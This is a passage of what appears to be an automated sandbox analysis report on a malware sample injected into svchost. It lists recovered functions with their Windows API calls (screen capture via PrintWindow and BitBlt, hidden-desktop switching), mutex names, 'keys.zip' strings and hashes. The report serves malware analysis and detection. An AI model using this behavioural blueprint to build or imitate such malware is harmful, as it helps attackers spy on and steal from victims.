                                                                                                                                                                                                            • Instruction ID: 8eefb0f407ac36fa6f6afb46c2e1072f14246f73863aaabdf619568f93586068
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a2de0311593b83e19bab61a1b851fb9f8a9320d1bfd5ea6f19e30cd09f312231
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 74018671BC435676B91231751C0AF4B972E4EC0ED5F9206B4FC12F2444DB96E20388B8
                                                                                                                                                                                                            Function 02C7B9D0 Relevance: 19.6, APIs: 13, Instructions: 116windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindow.USER32(00000000), ref: 02C7B9ED
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02C7B9FC
                                                                                                                                                                                                              • Part of subcall function 02C7CC80: GetClassNameA.USER32(?,?,00000101), ref: 02C7CC96
                                                                                                                                                                                                            • GetWindowRect.USER32(00000000,?), ref: 02C7BA39
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02C7BA42
                                                                                                                                                                                                            • PrintWindow.USER32(00000000,?,00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7BA55
                                                                                                                                                                                                            • RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,762330D0,?,?,?,02C7843E), ref: 02C7BA7B
                                                                                                                                                                                                            • CreateRectRgn.GDI32(?,?,02C7843E,?), ref: 02C7BA91
                                                                                                                                                                                                            • GetWindowRgn.USER32(00000000,00000000), ref: 02C7BA9B
                                                                                                                                                                                                            • OffsetRgn.GDI32(00000000,?,?), ref: 02C7BAB5
                                                                                                                                                                                                            • SelectClipRgn.GDI32(?,00000000), ref: 02C7BAC0
                                                                                                                                                                                                            • BitBlt.GDI32(?,?,?,02C7843E,?,?,00000000,00000000,00CC0020), ref: 02C7BAE9
                                                                                                                                                                                                            • SelectClipRgn.GDI32(?,00000000), ref: 02C7BAF2
                                                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 02C7BAF5
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$ClassClipRectSelect$CreateDeleteLongNameObjectOffsetPrintRedrawVisible
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3597830993-0
                                                                                                                                                                                                            • Opcode ID: 67a26ccbdca2ca42c6637e339f99ddf5f65e0949e96558e05bc8d35b703e6993
                                                                                                                                                                                                            • Instruction ID: e0fbb222fdb7a689cd4738f8298ab91a3c5c0875cd4c5c97c898b7d6531adc1c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 67a26ccbdca2ca42c6637e339f99ddf5f65e0949e96558e05bc8d35b703e6993
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E4315E71E80114AFD715EBA5DC89FBF7BB8EF89B14F104648FA01A3180DB74AD118A70
                                                                                                                                                                                                            Function 02C7CAA0 Relevance: 19.6, APIs: 13, Instructions: 113filesynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C7CAA8
                                                                                                                                                                                                            • HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAB9
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: GetComputerNameA.KERNEL32(02CBD6A8,?), ref: 02C7CA07
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: lstrlenA.KERNEL32(02CBD6A8,?,?,02C861D1), ref: 02C7CA12
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA52
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA62
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA72
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA7F
                                                                                                                                                                                                              • Part of subcall function 02C7C9F0: wsprintfA.USER32 ref: 02C7CA8C
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,02CBD6C0), ref: 02C7CAE3
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CAFC
                                                                                                                                                                                                              • Part of subcall function 02C780B0: SetThreadDesktop.USER32(?,7622F590,762216B0,00000000), ref: 02C780BF
                                                                                                                                                                                                              • Part of subcall function 02C780B0: GetDC.USER32(00000000), ref: 02C780C7
                                                                                                                                                                                                              • Part of subcall function 02C780B0: GetDeviceCaps.GDI32(00000000,0000000A), ref: 02C780D8
                                                                                                                                                                                                              • Part of subcall function 02C780B0: GetDeviceCaps.GDI32(00000000,00000008), ref: 02C780E9
                                                                                                                                                                                                              • Part of subcall function 02C780B0: CreateCompatibleBitmap.GDI32(00000000,00000000,?), ref: 02C78100
                                                                                                                                                                                                              • Part of subcall function 02C780B0: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 02C78142
                                                                                                                                                                                                              • Part of subcall function 02C780B0: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 02C78152
                                                                                                                                                                                                              • Part of subcall function 02C780B0: DeleteObject.GDI32(00000000), ref: 02C78155
                                                                                                                                                                                                              • Part of subcall function 02C780B0: ReleaseDC.USER32(00000000,00000000), ref: 02C7815E
                                                                                                                                                                                                              • Part of subcall function 02C780B0: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C781B9
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02CBD66C), ref: 02C7CB29
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB3C
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,02CBD790,?,?,02C77262,00000000,00000000), ref: 02C7CB5A
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB6B
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,02CBD750,?,?,02C77262,00000000,00000000), ref: 02C7CB7F
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CB98
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBAB
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,02C77262,00000000,00000000), ref: 02C7CBBE
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,02CBD6FC,?,?,02C77262,00000000,00000000), ref: 02C7CBD4
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create$wsprintf$EventFile$Mutex$BitsCapsDeviceHeapMappingView$BitmapCompatibleComputerCountDeleteDesktopFreeNameObjectReleaseThreadTicklstrlen
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2940656088-0
                                                                                                                                                                                                            • Opcode ID: a3c7da03c06e7baacfa3e58cff91971bdf7a1da4547cc210a681c6769fa2a69e
                                                                                                                                                                                                            • Instruction ID: 7143cfbcd07b478516294d572ce1f76d00f89f23f1645128c4751ac3e455c077
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3c7da03c06e7baacfa3e58cff91971bdf7a1da4547cc210a681c6769fa2a69e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 37315870FC47067AFA625B799C43F552A98AB84F11F240A67B705FE1C1DAE0E2108A69
                                                                                                                                                                                                            Function 02C8F870 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 139COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07,?,7693BF00), ref: 02C8F8A0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8F8E1
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,7693BF00), ref: 02C8F8EB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8F8F3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F904
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,7693BF00), ref: 02C8F90B
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?,?,7693BF00), ref: 02C8F918
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31B07,?,?,?,7693BF00), ref: 02C8F987
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorLast$AdminCreateCurrentFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 82C31B07$keys.zip$path1.txt
                                                                                                                                                                                                            • API String ID: 1373881290-90640282
                                                                                                                                                                                                            • Opcode ID: 995880c70c9912810f1758e375a2811a9e2a576be5440f13094ddfdcdb918970
                                                                                                                                                                                                            • Instruction ID: 29d7d588c098d824c285a5ef575a4294df5b1a72b2e407bb19de8d166829a7dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 995880c70c9912810f1758e375a2811a9e2a576be5440f13094ddfdcdb918970
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3E415B315002455FCB16DF2498A87E7BBE9EF85304F54C5E8D9C9C7600EB70DA49C790
                                                                                                                                                                                                            Function 02C92180 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 138COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31D7D), ref: 02C921B0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C921F1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C921FB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C92203
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92214
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C9221B
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C92228
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31D7D,?,02C923DC), ref: 02C92297
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorLast$AdminCreateCurrentFolderMakeSystemUser
                                                                                                                                                                                                            • String ID: 82C31D7D$keys.zip$path1.txt
                                                                                                                                                                                                            • API String ID: 1373881290-2115683760
                                                                                                                                                                                                            • Opcode ID: bad6e884dcd6c20827d84814306d4c4b625bec54e46aebd30b1b17291ffe3891
                                                                                                                                                                                                            • Instruction ID: af73b95f3afc7f7d0884e6785d3ddf53a614609f7025e591714c5bd7d1cea629
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bad6e884dcd6c20827d84814306d4c4b625bec54e46aebd30b1b17291ffe3891
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7D4114719046455FCF168B24AC9CBEABBE9EF85300F148694EDC9C7201EB71CA58CB91
                                                                                                                                                                                                            Function 02C7A8A0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81synchronizationwindowthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A8C3
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7A8F0
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7A8F7
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 02C7A909
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02C7A918
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7A922
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7A934
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7A961
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7A968
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000215,00000000,?), ref: 02C7A97B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$MessageMutexObjectReleaseSendSingleThreadWait$CurrentProcess
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2596333622-3387790918
                                                                                                                                                                                                            • Opcode ID: 6732ab873021143345105f0ae7f6a40ba091e59bea1e656974525272d65fe9d3
                                                                                                                                                                                                            • Instruction ID: 11d871deff8ae8ac6c3bb86cc3c047be6394bae5bf7a145b80572d6ccf4b0d3c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6732ab873021143345105f0ae7f6a40ba091e59bea1e656974525272d65fe9d3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4621E231A80210AFC7028B65E84CFABBBA8FFD8721F054BB6F118C7251CB705561CBA0
                                                                                                                                                                                                            Function 02C8A300 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02C8A32C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8A335
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A349
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8A35B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3181f), ref: 02C8A366
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c3181f,ALPHA), ref: 02C8A380
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8A386
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82c3181f$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v
                                                                                                                                                                                                            • API String ID: 4280258085-3298862243
                                                                                                                                                                                                            • Opcode ID: 80761793af32adadccc08d11091c2edfdfc4dc98b57416fe8d9733845e4c6d5b
                                                                                                                                                                                                            • Instruction ID: 66065183afabc5e205905a98ee6f42eaf75174fc29e32019c41c5dc9de667fcd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 80761793af32adadccc08d11091c2edfdfc4dc98b57416fe8d9733845e4c6d5b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 47F0C8319C478076E30377619C0EF5A779CBF49B19F048619F55AA3181DBB4E9048B7B
                                                                                                                                                                                                            Function 02C918D0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C918FC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C91905
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91919
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C9192B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5), ref: 02C91936
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82C31CB5,RFK), ref: 02C91950
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C91956
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82C31CB5$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RFK
                                                                                                                                                                                                            • API String ID: 4280258085-134197944
                                                                                                                                                                                                            • Opcode ID: 50ff971ec6fb5c5cafd525f8d5ef67f4af66823a64cf0cd0a346fc3ec5b13101
                                                                                                                                                                                                            • Instruction ID: 141189960a55e461df8e06af9ff8a9f56ae7c7247c1961c10fdf04627f25ceb8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 50ff971ec6fb5c5cafd525f8d5ef67f4af66823a64cf0cd0a346fc3ec5b13101
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1EF0F9309C47827AE60257614C1FF1A37DD6F44B59F094664F51663180DBF0951086AA
                                                                                                                                                                                                            Function 02C8E890 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 41sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E8BC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8E8C5
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E8D9
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8E8EB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c319a5), ref: 02C8E8F6
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c319a5,HANDY), ref: 02C8E910
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C8E916
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 82c319a5$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v
                                                                                                                                                                                                            • API String ID: 4280258085-4110396391
                                                                                                                                                                                                            • Opcode ID: bbf26cff921429fc15a84b544844029a10b92a237402795641b3290510035523
                                                                                                                                                                                                            • Instruction ID: 6cb507c3f8e8aa611efe161f5ac436fe0354e7091d39b52a75f674d21e25321d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bbf26cff921429fc15a84b544844029a10b92a237402795641b3290510035523
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8FF0D1309C4741BAF21277658C0AF1E369C6F85B18F048664F905A2082DBB4A5108AAB
                                                                                                                                                                                                            Function 02C80A70 Relevance: 17.9, APIs: 14, Instructions: 355COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 4b8308effba2e0fad6e10e14667dd85b0e6b556642bc1ce5fb5bbcfcda7619dd
                                                                                                                                                                                                            • Instruction ID: e9425d0ca37bfb561863d8c25653af8c558fe77ebd5fc73c7aa99de3bacac200
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4b8308effba2e0fad6e10e14667dd85b0e6b556642bc1ce5fb5bbcfcda7619dd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 42C1D631A006169FCB15DF68C8A4BBE7BB5EF85318F14C294ED569B340E731AA0DCB90
                                                                                                                                                                                                            Function 02C7B390 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WindowFromDC.USER32(?), ref: 02C7B39C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7B3D4
                                                                                                                                                                                                            • CreateRectRgn.GDI32(00000001,00000001,00000001,00000001), ref: 02C7B3E2
                                                                                                                                                                                                            • GetClipRgn.GDI32(?,00000000), ref: 02C7B3EC
                                                                                                                                                                                                            • SelectClipRgn.GDI32(00000000,00000000), ref: 02C7B3FC
                                                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 02C7B403
                                                                                                                                                                                                            • GetViewportOrgEx.GDI32(?,?), ref: 02C7B40E
                                                                                                                                                                                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 02C7B422
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7B463
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ClipObjectViewport$CreateDeleteFromMutexRectReleaseSelectSingleWaitWindow
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 3315380975-3387790918
                                                                                                                                                                                                            • Opcode ID: cb569ef6b664245f7c3fa50cf9dcfabde7d68aeb19ca8df509e47a00b2190c6b
                                                                                                                                                                                                            • Instruction ID: fa693be15dccf9b0968d71d7f8b39fe227df8554a4e78187f550de969f190dc2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cb569ef6b664245f7c3fa50cf9dcfabde7d68aeb19ca8df509e47a00b2190c6b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5941E7B6640245ABCB14CF99DC84EAB77BDEF8C715F108A59FA19D3240D630EC51CBA0
                                                                                                                                                                                                            Function 02C928B8 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 118synchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31cf4), ref: 02C928D7
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31cf4,?,?), ref: 02C92969
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214},?,?), ref: 02C929F5
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C92A06
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C92A0D
                                                                                                                                                                                                              • Part of subcall function 02C93E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C93E14
                                                                                                                                                                                                              • Part of subcall function 02C93E00: CloseHandle.KERNEL32(?), ref: 02C93E25
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
